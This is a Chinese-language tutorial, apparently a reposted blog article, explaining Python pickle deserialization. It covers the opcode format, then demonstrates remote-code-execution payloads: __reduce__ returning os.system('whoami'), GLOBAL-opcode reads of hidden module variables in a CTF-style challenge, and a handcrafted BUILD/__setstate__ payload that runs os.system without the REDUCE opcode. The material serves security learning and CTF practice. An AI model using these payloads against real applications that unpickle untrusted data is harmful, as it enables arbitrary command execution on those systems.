Python中pickle反序列化的详细介绍

这篇文章主要讲解了“Python中pickle反序列化的详细介绍”，文中的讲解内容简单清晰，易于学习与理解，下面请大家跟着小编的思路慢慢深入，一起来研究和学习“Python中pickle反序列化的详细介绍”吧！

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什么是Python反序列化

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python反序列化和php反序列化类似（还没接触过java。。），相当于把程序运行时产生的变量，字典，对象实例等变换成字符串形式存储起来，以便后续调用，恢复保存前的状态

python中反序列化的库主要有两个，pickle和cPickle，这俩除了运行效率上有区别外，其他没啥区别

pickle的常用方法有

import picklea_list = ['a','b','c']# pickle构造出的字符串，有很多个版本。在dumps或loads时，可以用Protocol参数指定协议版本，例如指定为0号版本# 目前这些协议有0,2,3,4号版本，默认为3号版本。这所有版本中，0号版本是人类最可读的；之后的版本加入了一大堆不可打印字符，不过这些新加的东西都只是为了优化，本质上没有太大的改动。# 一个好消息是，pickle协议是向前兼容的。0号版本的字符串可以直接交给pickle.loads()，不用担心引发什么意外。# pickle.dumps将对象反序列化为字符串# pickle.dump将反序列化后的字符串存储为文件print(pickle.dumps(a_list,protocol=0))pickle.loads() #对象反序列化pickle.load() #对象反序列化，从文件中读取数据

输出反序列化

读入反序列化

可以看出，python2和python3之间反序列化的结果有些许差别，我们先以目前的支持版本python3为主要对象，在后期给出exp的时候再补上python2

python3大多版本中反序列化的字符串默认版本为3号版本，我这里python3.8的默认版本为4

v0 版协议是原始的 “人类可读” 协议，并且向后兼容早期版本的 Python。v1 版协议是较早的二进制格式，它也与早期版本的 Python 兼容。v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进，请参阅 PEP 307。v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持，且无法被 Python 2.x 打开。这是目前默认使用的协议，也是在要求与其他 Python 3 版本兼容时的推荐协议。v4 版协议添加于 Python 3.4。它支持存储非常大的对象，能存储更多种类的对象，还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息，请参阅 PEP 3154。

为了便于分析和兼容，我们统一使用3号版本

C:\Users\Rayi\Desktop\Tmp\Scriptλ python 1.pyb'(lp0\nVa\np1\naVb\np2\naVc\np3\na.' #0号b'\x80\x03]q\x00(X\x01\x00\x00\x00aq\x01X\x01\x00\x00\x00bq\x02X\x01\x00\x00\x00cq\x03e.' #3号b'\x80\x04\x95\x11\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x01a\x94\x8c\x01b\x94\x8c\x01c\x94e.'#4号反序列化流程分析

在挖掘反序列化漏洞之前，我们需要了解python反序列化的流程是怎样的

直接分析反序列化出的字符串是比较困难的，我们可以使用pickletools帮助我们进行分析

import pickleimport pickletoolsa_list = ['a','b','c']a_list_pickle = pickle.dumps(a_list,protocol=0)print(a_list_pickle)# 优化一个已经被打包的字符串a_list_pickle = pickletools.optimize(a_list_pickle)print(a_list_pickle)# 反汇编一个已经被打包的字符串pickletools.dis(a_list_pickle)

指令集如下：（更具体的解析可以查看pickletools.py)

MARK           = b'('   # push special markobject on stackSTOP           = b'.'   # every pickle ends with STOPPOP            = b'0'   # discard topmost stack itemPOP_MARK       = b'1'   # discard stack top through topmost markobjectDUP            = b'2'   # duplicate top stack itemFLOAT          = b'F'   # push float object; decimal string argumentINT            = b'I'   # push integer or bool; decimal string argumentBININT         = b'J'   # push four-byte signed intBININT1        = b'K'   # push 1-byte unsigned intLONG           = b'L'   # push long; decimal string argumentBININT2        = b'M'   # push 2-byte unsigned intNONE           = b'N'   # push NonePERSID         = b'P'   # push persistent object; id is taken from string argBINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stackREDUCE         = b'R'   # apply callable to argtuple, both on stackSTRING         = b'S'   # push string; NL-terminated string argumentBINSTRING      = b'T'   # push string; counted binary string argumentSHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytesUNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argumentBINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argumentAPPEND         = b'a'   # append stack top to list below itBUILD          = b'b'   # call __setstate__ or __dict__.update()GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string argsDICT           = b'd'   # build a dict from stack itemsEMPTY_DICT     = b'}'   # push empty dictAPPENDS        = b'e'   # extend list on stack by topmost stack sliceGET            = b'g'   # push item from memo on stack; index is string argBINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte argINST           = b'i'   # build & push class instanceLONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte argLIST           = b'l'   # build list from topmost stack itemsEMPTY_LIST     = b']'   # push empty listOBJ            = b'o'   # build & push class instancePUT            = b'p'   # store stack top in memo; index is string argBINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte argLONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte argSETITEM        = b's'   # add key+value pair to dictTUPLE          = b't'   # build tuple from topmost stack itemsEMPTY_TUPLE    = b')'   # push empty tupleSETITEMS       = b'u'   # modify dict by adding topmost key+value pairsBINFLOAT       = b'G'   # push float; arg is 8-byte float encodingTRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.pyFALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

依照上面的表格，这一个序列化的例子就很好理解了

b'\x80\x03](X\x01\x00\x00\x00aX\x01\x00\x00\x00bX\x01\x00\x00\x00ce.'    0: \x80 PROTO      3 #标明使用协议版本    2: ]    EMPTY_LIST #将空列表压入栈    3: (    MARK #将标志压入栈    4: X        BINUNICODE 'a' #unicode字符   10: X        BINUNICODE 'b'   16: X        BINUNICODE 'c'   22: e        APPENDS    (MARK at 3) #将3号标志后的数据压入列表   # 弹出栈中的数据，结束流程   23: .    STOPhighest protocol among opcodes = 2

我们再来看另一个更复杂的例子

import pickleimport pickletoolsimport base64class a_class():    def __init__(self):        self.age = 114514        self.name = "QAQ"        self.list = ["1919","810","qwq"]a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 优化一个已经被打包的字符串a_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反汇编一个已经被打包的字符串pickletools.dis(a_class_pickle)b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03JR\xbf\x01\x00X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00QAQq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x04\x00\x00\x001919q\x08X\x03\x00\x00\x00810q\tX\x03\x00\x00\x00qwqq\neub.'b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03JR\xbf\x01\x00X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00QAQq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x04\x00\x00\x001919q\x08X\x03\x00\x00\x00810q\tX\x03\x00\x00\x00qwqq\neub.'    0: \x80 PROTO      3    # push self.find_class(modname, name); 连续读取两个字符串作为参数，以\n为界    # 这里就是self.find_class(‘__main__’, ‘a_class’);    # 需要注意的版本不同，find_class函数也不同    2: c    GLOBAL     '__main__ a_class'     # 不影响反序列化   20: q    BINPUT     0   # 向栈中压入一个元组   22: )    EMPTY_TUPLE   # 见pickletools源码第2097行（注意版本）   # 大意为，该指令之前的栈内容应该为一个类（2行GLOBAL创建的类），类后为一个元组（22行压入的TUPLE），调用cls.__new__(cls, *args)（即用元组中的参数创建一个实例，这里元组实际为空）   23: \x81 NEWOBJ   24: q    BINPUT     1   # 压入一个新的字典   26: }    EMPTY_DICT   27: q    BINPUT     2   # 一个标志   29: (    MARK   # 压入unicode值   30: X        BINUNICODE 'age'   38: q        BINPUT     3   40: J        BININT     114514   45: X        BINUNICODE 'name'   54: q        BINPUT     4   56: X        BINUNICODE 'QAQ'   64: q        BINPUT     5   66: X        BINUNICODE 'list'   75: q        BINPUT     6   77: ]        EMPTY_LIST   78: q        BINPUT     7   # 又一个标志   80: (        MARK   81: X            BINUNICODE '1919'   90: q            BINPUT     8   92: X            BINUNICODE '810'  100: q            BINPUT     9  102: X            BINUNICODE 'qwq'  110: q            BINPUT     10  # 将第80行的mark之后的值压入第77行的列表  112: e            APPENDS    (MARK at 80)  # 详情见pickletools源码第1674行（注意版本）  # 大意为将任意数量的键值对添加到现有字典中  # Stack before:  ... pydict markobject key_1 value_1 ... key_n value_n  # Stack after:   ... pydict  113: u        SETITEMS   (MARK at 29)  # 通过__setstate__或更新__dict__完成构建对象（对象为我们在23行创建的）。  # 如果对象具有__setstate__方法，则调用anyobject .__setstate__（参数）  # 如果无__setstate__方法，则通过anyobject.__dict__.update(argument)更新值  # 注意这里可能会产生变量覆盖  114: b    BUILD  # 弹出栈中的数据，结束流程  115: .    STOPhighest protocol among opcodes = 2

这样另一个更复杂的例子就分析完成了

我们现在能大体了解序列化与反序列化的流程

漏洞分析RCE：常用的__reduce__

ctf中大多数常见的pickle反序列化，利用方法大都是__reduce__

触发__reduce__的指令码为R

# pickletools.py 1955行name='REDUCE',      code='R',      arg=None,      stack_before=[anyobject, anyobject],      stack_after=[anyobject],      proto=0,      doc="""Push an object built from a callable and an argument tuple.      The opcode is named to remind of the __reduce__() method.      Stack before: ... callable pytuple      Stack after:  ... callable(*pytuple)      The callable and the argument tuple are the first two items returned      by a __reduce__ method.  Applying the callable to the argtuple is      supposed to reproduce the original object, or at least get it started.      If the __reduce__ method returns a 3-tuple, the last component is an      argument to be passed to the object's __setstate__, and then the REDUCE      opcode is followed by code to create setstate's argument, and then a      BUILD opcode to apply  __setstate__ to that argument.      If not isinstance(callable, type), REDUCE complains unless the      callable has been registered with the copyreg module's      safe_constructors dict, or the callable has a magic      '__safe_for_unpickling__' attribute with a true value.  I'm not sure      why it does this, but I've sure seen this complaint often enough when      I didn't want to .      """

大意为：

取当前栈的栈顶记为args，然后把它弹掉。

取当前栈的栈顶记为f，然后把它弹掉。

以args为参数，执行函数f，把结果压进当前栈。

只要在序列化中的字符串中存在R指令，__reduce__方法就会被执行，无论正常程序中是否写明了__reduce__方法

例如：

import pickleimport pickletoolsimport base64class a_class(): def __init__(self): self.age = 114514 self.name = "QAQ" self.list = ["1919","810","qwq"] def __reduce__(self): return (__import__('os').system, ("whoami",)) a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 优化一个已经被打包的字符串a_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反汇编一个已经被打包的字符串pickletools.dis(a_class_pickle)'''b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'    0: \x80 PROTO      3    2: c    GLOBAL     'nt system'   13: q    BINPUT     0   15: X    BINUNICODE 'whoami'   26: q    BINPUT     1   28: \x85 TUPLE1   29: q    BINPUT     2   31: R    REDUCE   32: q    BINPUT     3   34: .    STOPhighest protocol among opcodes = 2'''

把生成的payload拿到无__reduce__的正常程序中，命令仍然会被执行

记得生成payload时使用的python版本尽量与目标上的版本一致

#coding=utf-8import pickleimport urllib.request#python2#import urllibimport base64class rayi(object): def __reduce__(self): # 未导入os模块，通用 return (__import__('os').system, ("whoami",)) # return eval,("__import__('os').system('whoami')",) # return map, (__import__('os').system, ('whoami',)) # return map, (__import__('os').system, ['whoami'])  # 导入os模块 # return (os.system, ('whoami',)) # return eval, ("os.system('whoami')",) # return map, (os.system, ('whoami',)) # return map, (os.system, ['whoami']) a_class = rayi()result = pickle.dumps(a_class)print(result)print(base64.b64encode(result))#python3print(urllib.request.quote(result))#python2#print urllib.quote(result)全局变量包含覆盖：c指令码

前两个例子开头都有c指令码

name='GLOBAL',      code='c',      arg=stringnl_noescape_pair,      stack_before=[],      stack_after=[anyobject],      proto=0,      doc="""Push a global object (module.attr) on the stack.      Two newline-terminated strings follow the GLOBAL opcode.  The first is      taken as a module name, and the second as a class name.  The class      object module.class is pushed on the stack.  More accurately, the      object returned by self.find_class(module, class) is pushed on the      stack, so unpickling subclasses can override this form of lookup.      """

简单来说，c指令码可以用来调用全局的xxx.xxx的值

看下面的例子

import secretimport pickleimport pickletoolsclass flag():    def __init__(self,a,b):        self.a = a        self.b = b# new_flag = pickle.dumps(flag('A','B'),protocol=3)# print(new_flag)# pickletools.dis(new_flag)your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret.a,secret.b)if other_flag.a == secret_flag.a and other_flag.b == secret_flag.b:    print('flag{xxxxxx}')else:    print('No!')# secret.py# you can not see thisa = 'aaaa'b = 'bbbb'

在我们不知道secret.py中值的情况下，如何构造满足条件的payload，拿到flag呢？

利用c指令：

这是一般情况下的flag类

λ python app.pyb'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.'    0: \x80 PROTO      3    2: c    GLOBAL     '__main__ flag'   17: q    BINPUT     0   19: )    EMPTY_TUPLE   20: \x81 NEWOBJ   21: q    BINPUT     1   23: }    EMPTY_DICT   24: q    BINPUT     2   26: (    MARK   27: X        BINUNICODE 'a'   33: q        BINPUT     3   35: X        BINUNICODE 'A'   41: q        BINPUT     4   43: X        BINUNICODE 'b'   49: q        BINPUT     5   51: X        BINUNICODE 'B'   57: q        BINPUT     6   59: u        SETITEMS   (MARK at 26)   60: b    BUILD   61: .    STOPhighest protocol among opcodes = 2

第27行和第37行分别进行了传参，如果我们手动把payload修改一下，将a和b的值改为secret.a，secret.b

原来的：b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.'现在的：b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03csecret\na\nq\x04X\x01\x00\x00\x00bq\x05csecret\nb\nq\x06ub.'

我们成功的调用了secret.py中的变量

RCE：BUILD指令

还记得刚才说过的build指令码吗

name='BUILD',      code='b',      arg=None,      stack_before=[anyobject, anyobject],      stack_after=[anyobject],      proto=0,      doc="""Finish building an object, via __setstate__ or dict update.      Stack before: ... anyobject argument      Stack after:  ... anyobject      where anyobject may have been mutated, as follows:      If the object has a __setstate__ method,          anyobject.__setstate__(argument)      is called.      Else the argument must be a dict, the object must have a __dict__, and      the object is updated via          anyobject.__dict__.update(argument)

通过BUILD指令与C指令的结合，我们可以把改写为os.system或其他函数

假设某个类原先没有__setstate__方法，我们可以利用{'__setstate__': os.system}来BUILE这个对象

BUILD指令执行时，因为没有__setstate__方法，所以就执行update，这个对象的__setstate__方法就改为了我们指定的os.system

接下来利用"ls /"来再次BUILD这个对象，则会执行setstate("ls /")，而此时__setstate__已经被我们设置为os.system，因此实现了RCE.

看一看具体如何实现的：

还是以flag类为例

import pickleimport pickletoolsclass flag():    def __init__(self):        passnew_flag = pickle.dumps(flag(),protocol=3)print(new_flag)pickletools.dis(new_flag)# your_payload = b'?'# other_flag = pickle.loads(your_payload)λ python app.pyb'\x80\x03c__main__\nflag\nq\x00)\x81q\x01.'    0: \x80 PROTO      3    2: c    GLOBAL     '__main__ flag'   17: q    BINPUT     0   19: )    EMPTY_TUPLE   20: \x81 NEWOBJ   21: q    BINPUT     1   23: .    STOPhighest protocol among opcodes = 2

接下来需要我们手撕payload了

根据BUILD的说明，我们需要构造一个字典

b'\x80\x03c__main__\nflag\nq\x00)\x81}.'

接下来往字典里放值，先放一个mark

b'\x80\x03c__main__\nflag\nq\x00)\x81}(.'

放键值对

b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nu.'

第一次BUILD

b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nub.'

放参数

b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\n.'

第二次BUILD

b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'

完成

我们来试一下

成了，我们在不使用R指令的情况下完成了RCE

rayi-de-shenchu\rayi    0: \x80 PROTO      3    2: c    GLOBAL     '__main__ flag'   17: q    BINPUT     0   19: )    EMPTY_TUPLE   20: \x81 NEWOBJ   21: }    EMPTY_DICT   22: (    MARK   23: V        UNICODE    '__setstate__'   37: c        GLOBAL     'os system'   48: u        SETITEMS   (MARK at 22)   49: b    BUILD   50: V    UNICODE    'whoami'   58: b    BUILD   59: .    STOPhighest protocol among opcodes = 2[Finished in 0.2s]

python2 区别不是很大：

import pickleimport pickletoolsimport urllibclass rayi():    def __init__(self):        passnew_rayi = pickle.dumps(rayi(),protocol=2)print(urllib.quote(new_rayi))pickletools.dis(new_rayi)# your_payload = '\x80\x03c__main__\nrayi\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'# other_rayi = pickle.loads(your_payload)# pickletools.dis(your_payload)

输出：

%80%02%28c__main__%0Arayi%0Aq%00oq%01%7Dq%02b.    0: \x80 PROTO      2    2: (    MARK    3: c        GLOBAL     '__main__ rayi'   18: q        BINPUT     0   20: o        OBJ        (MARK at 2)   21: q    BINPUT     1   23: }    EMPTY_DICT   24: q    BINPUT     2   26: b    BUILD   27: .    STOPhighest protocol among opcodes = 2[Finished in 0.1s]

修改payload：

%80%02%28c__main__%0Arayi%0Aq%00oq%01%7Dq%02(V__setstate__\ncos\nsystem\nubVwhoami\nb.import pickleimport pickletoolsimport urllibclass rayi():    def __init__(self):        pass# new_rayi = pickle.dumps(rayi(),protocol=2)# print(urllib.quote(new_rayi))# pickletools.dis(new_rayi)your_payload = urllib.unquote('%80%02%28c__main__%0Arayi%0Aq%00oq%01%7Dq%02(V__setstate__\ncos\nsystem\nubVwhoami\nb.')other_rayi = pickle.loads(your_payload)pickletools.dis(your_payload)

分享题目：Python中pickle反序列化的详细介绍
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